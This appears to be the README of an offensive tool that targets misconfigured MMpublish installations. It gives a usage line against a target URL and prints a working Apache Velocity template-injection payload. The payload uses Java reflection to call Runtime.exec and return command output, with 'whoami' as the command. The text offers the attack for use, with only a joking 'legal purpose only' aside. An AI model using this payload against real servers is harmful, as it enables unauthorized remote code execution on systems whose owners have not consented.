This tool exploits misconfigured instances of MMpublish a tool made by mmcafe.com.br Use this tool for legal propose only :P.
python3 >= python3.8
pip3 install requirements.txt
python3 main.py -u https://target.com.br
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('whoami'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end